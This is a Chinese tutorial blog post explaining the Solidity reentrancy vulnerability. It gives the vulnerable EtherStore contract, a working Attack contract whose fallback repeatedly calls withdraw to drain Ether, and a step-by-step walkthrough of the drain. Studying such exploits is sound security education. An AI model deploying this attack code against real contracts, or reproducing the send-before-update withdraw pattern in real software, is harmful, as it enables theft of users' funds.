当前位置: 首页 > news >正文

重入漏洞EtherStore

重入漏洞

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;contract EtherStore {mapping(address => uint) public balances;function deposit() public payable {balances[msg.sender] += msg.value;}function withdraw() public {uint bal = balances[msg.sender];require(bal > 0);(bool sent, ) = msg.sender.call{value: bal}("");require(sent, "Failed to send Ether");balances[msg.sender] = 0;}// Helper function to check the balance of this contractfunction getBalance() public view returns (uint) {return address(this).balance;}
}contract Attack {EtherStore public etherStore;constructor(address _etherStoreAddress) {etherStore = EtherStore(_etherStoreAddress);}// Fallback is called when EtherStore sends Ether to this contract.fallback() external payable {if (address(etherStore).balance >= 1 ether) {etherStore.withdraw();}}function attack() external payable {require(msg.value >= 1 ether);etherStore.deposit{value: 1 ether}();etherStore.withdraw();}// Helper function to check the balance of this contractfunction getBalance() public view returns (uint) {return address(this).balance;}
}

这个被攻击的EtherStore合约,可以用来depositwithdraw以太币。withdraw函数的基本逻辑是:

  • 判断sender的余额是否大于0,是的话下一步;
  • 使用call方法给sender发送合约里属于sender所有的余额,成功发送的话下一步;
  • 将合约中属于sender的余额值清零。

在攻击合约Attack合约中,先看attack函数,基本逻辑就是先调用deposit存入1个以太,再调用withdraw取出。然而关键的代码在fallback函数中,这个fallback函数会先检测被攻击合约EtherStore的余额,如果大于1个以太,就执行withdraw
在这里插入图片描述
知道这些概念后,就可以演示攻击过程了:

  • 1.假设EtherStore合约中有10个ETH的余额;
  • 2.攻击者点击attack函数,先执行deposit于是攻击者就存入了1个ETH,接下来执行withdraw,withdraw函数前两行成功通过,开始使用call函数发送属于sender(这里是Attack合约)的余额;
  • 3.Attack合约收到余额后,根据我们上图所示,先看msg.data是否为空?是;receive是否存在?否;于是进入fallback函数;
  • 4.fallback函数中,先检测EtherStore的余额,这里应当是10 - 1 = 9 Ether,通过,于是又执行withdraw;
  • 5.withdraw函数先检测前两行,(注意,这是攻击过程的关键点!)属于sender的余额为不为0呢?答案是不为0,仍然能通过,因为上次执行withdraw函数,其实还停留在call发送Ether的那一步,下一步还没有执行,EtherStore中的balance值还没有更新,因此这里还是能通过,继续执行到下一个call发送余额,这样又把合约余额发送过去了;
  • 6.Attack合约的fallback函数又开始重复withdraw,一直等到EtherStore合约中的余额为0,Attack合约的fallback函数不能通过余额检测的时候,整个提取过程才会停止。
  • 7.执行完成,被攻击合约的所有10个ETH都被发送到了被攻击合约Attack上了。

这里的例子,Attack合约其实用receive函数也是可以的,而且合约里是可以有单独的receive函数,但是单独的fallback函数就会报warning。

相关文章:

  • 21.9 Python 使用Selenium库
  • 竞赛选题 深度学习图像修复算法 - opencv python 机器视觉
  • k8s异常Too many requests: Too many requests, please try again later.
  • Flask 上传文件,requests通过接口上传文件
  • 【Maven教程】(九):使用 Maven 进行测试 ~
  • C++之C++11字符串字面量后缀总结(二百四十八)
  • 分享从零开始学习网络设备配置--任务4.2 使用IPv6静态及默认路由实现网络连通
  • SpringCore完整学习教程5,入门级别
  • 软考系列(系统架构师)- 2012年系统架构师软考案例分析考点
  • 应用案例|基于三维机器视觉的曲轴自动化上下料应用方案
  • Nginx的进程结构实例演示
  • 方案聚焦:高可用的F5分布式云DNS负载均衡
  • 模数转换器-ADC基础
  • Harmony 个人中心(页面交互、跳转、导航、容器组件)
  • How to install mongodb-7.0 as systemd service with podman
  • 网络传输文件的问题
  • IE9 : DOM Exception: INVALID_CHARACTER_ERR (5)
  • 【附node操作实例】redis简明入门系列—字符串类型
  • angular学习第一篇-----环境搭建
  • ECMAScript 6 学习之路 ( 四 ) String 字符串扩展
  • es6要点
  • happypack两次报错的问题
  • HTML-表单
  • Material Design
  • PAT A1017 优先队列
  • socket.io+express实现聊天室的思考(三)
  • spring boot 整合mybatis 无法输出sql的问题
  • Storybook 5.0正式发布:有史以来变化最大的版本\n
  • 爱情 北京女病人
  • 代理模式
  • 对超线程几个不同角度的解释
  • 理清楚Vue的结构
  • 如何优雅地使用 Sublime Text
  • 译有关态射的一切
  • 赢得Docker挑战最佳实践
  • 用 vue 组件自定义 v-model, 实现一个 Tab 组件。
  • C# - 为值类型重定义相等性
  • 摩拜创始人胡玮炜也彻底离开了,共享单车行业还有未来吗? ...
  • # centos7下FFmpeg环境部署记录
  • (html转换)StringEscapeUtils类的转义与反转义方法
  • (MIT博士)林达华老师-概率模型与计算机视觉”
  • (react踩过的坑)Antd Select(设置了labelInValue)在FormItem中initialValue的问题
  • (附源码)计算机毕业设计SSM教师教学质量评价系统
  • (九十四)函数和二维数组
  • (三)Pytorch快速搭建卷积神经网络模型实现手写数字识别(代码+详细注解)
  • (一)appium-desktop定位元素原理
  • (转)fock函数详解
  • (转)原始图像数据和PDF中的图像数据
  • .describe() python_Python-Win32com-Excel
  • .NET CORE Aws S3 使用
  • .NET delegate 委托 、 Event 事件,接口回调
  • .net 打包工具_pyinstaller打包的exe太大?你需要站在巨人的肩膀上-VC++才是王道
  • .NET 使用 ILRepack 合并多个程序集(替代 ILMerge),避免引入额外的依赖
  • .net 验证控件和javaScript的冲突问题
  • .NET 中 GetProcess 相关方法的性能